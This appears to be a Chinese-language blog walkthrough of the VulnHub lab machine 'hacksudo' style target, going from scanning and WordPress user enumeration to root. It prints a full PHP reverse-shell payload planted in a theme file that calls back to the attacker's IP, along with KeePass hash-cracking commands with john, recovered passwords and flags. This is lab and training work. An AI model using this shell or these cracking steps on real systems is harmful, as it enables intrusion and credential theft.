kali攻击机ip:192.168.56.107
环境配置
靶场环境配置可以参考我的另一篇文章
hacksudo2 vulnhub靶场(NFS,vbox靶场环境配置)_川川小宝的博客-CSDN博客
靶机通关
主机发现(指定eth0网卡扫描)
端口扫描
nmap -sS -p- -A 192.168.56.109
开放了两个http端口,66和80
先看看66端口
目录扫描
dirb http://192.168.56.109:66/
我都访问过了没什么有用的
访问66端口
页面探测
点击contact:xxxxxx
点击here
,下载了一个文件vvmlist.zip
解压文件查看
sshpasswd.png
说不定有东西,查看下源码
真的只是图片一张=_=
没办法,一个一个文件看看
终于发现了点东西
\vvmlist.github.io\_vvmlist\sense.md
告诉我们80搭建了一个wordpress的cms,而且有一个叫lyricsblog的目录
既然是wordpress,那就用先用wpscan
扫一下用户
wpscan --url http://192.168.56.109/lyricsblog/ -e u
erdalkomurcu
扫出来一个用户名,但是没有密码
http://192.168.56.109/lyricsblog/
最底下有个search的输入框,用于查询网页内容
查看源代码,发现了这个目录底下有个图片
图片源码也没有异常
这里看别的博主说这个顶上的HAKAN TASIYAN
有点东西
回去主页看看,确实有这个标题
Çaresiz derdimin sebebi belli
Dermanı yaramda arama doktor
Şifa bulmaz gönlüm senin elinden
Boşuna benimle uğraşma doktor
Aşk yarasıdır bu ilaç kapatmaz
Derdin teselli beni avutmaz
Dermanı yardadır sende bulunmaz
Boşuna benimle uğraşma doktor
Dokunma benim gönül yarama
Dokunma doktor
Bedenimde değil kalbimde derdim
Tek alışkanlığım bir zalim sevdim
Sen çekil yanımdan sevdiğim gelsin
Boşuna zamanı harcama doktor
将这段歌词复制到.txt,然后用md5sum计算md5值
(有一说一,这谁想到的=_=)
但是不知道我为啥算出来是介样子的
别人的是介样子的
bc78c6ab38e114d6135409e44f7cdda2
不管了,小小错误,何足挂齿:-)
访问wp的登陆界面
写着密码要大写
把别人的密码转成大写(用新学的tr命令)
echo bc78c6ab38e114d6135409e44f7cdda2 | tr [:lower:] [:upper:]
BC78C6AB38E114D6135409E44F7CDDA2
尝试用刚刚发现的用户密码登陆
是wp就好办了,之前也做过
在appearance
的Thene Editor
里面找一个可以访问的php文件,修改它为我们的反弹shell
这里我选择的是最明显的index.php
<?php /**/ error_reporting(0); $ip = '192.168.56.107'; $port = 6666; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
访问wp主页
连上了
整个回显 python -c 'import pty;pty.spawn("/bin/bash")';
查看用户目录,raphael目录下有个user.txt,应该是flag,可惜没有权限查看
隐藏目录下还有个.kdbx文件
kdbx 扩展名文件
文件由KeePass Password
Safe创建,这是Windows的免费密码管理器;存储密码的加密数据库,该数据库只能使用用户设置的主密码查看;用于安全存储Windows、电子邮件帐户、FTP站点、电子商务站点和其他用途的个人登录凭据。
sudo找不到命令,suid权限也没有可用文件
回到网站目录看看配置文件,说不定有好东西
果然,给我发现了一个用户账号和密码
raphael double_trouble
成功切换用户
回去查看user.txt
F6ACB21652E095630BB1BEBD1E587FE7
拿到一个flag
还是要找密码提权,别忘了刚刚发现的.vdbx文件
Keepass文件破解方法
1、将.kdbx文件下载到本地
2、将 .kdbx 文件内容转为 john 支持的格式
keepass2john xxx.kdbx > xxx.hash
3、然后使用 john 破解:
john --wordlist= /usr/share/wordlists/rockyou.txt xxx.hash
python2 -m SimpleHTTPServer 4444
wget http://192.168.56.109:4444/.chadroot.kdbx
keepass2john .chadroot.kdbx > gpass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt gpass.txt
需要一定时间,请耐心等待
chatter
访问KeeWeb,这个网站可以查看.kdbx文件内容
点击open,打开我们本地的.kdbx文件(这里最好先把文件名前面的.删除,不然这里找不到),点击ok
输入chatter,回车
进来了,有四个密码,双击就能查看,一个一个试
最后发现是这个
.:.subjective.:.
su root
提权成功~~
AF7DD472654CBBCF87D3D7F509CB9862
获得第二个flag
o了 😃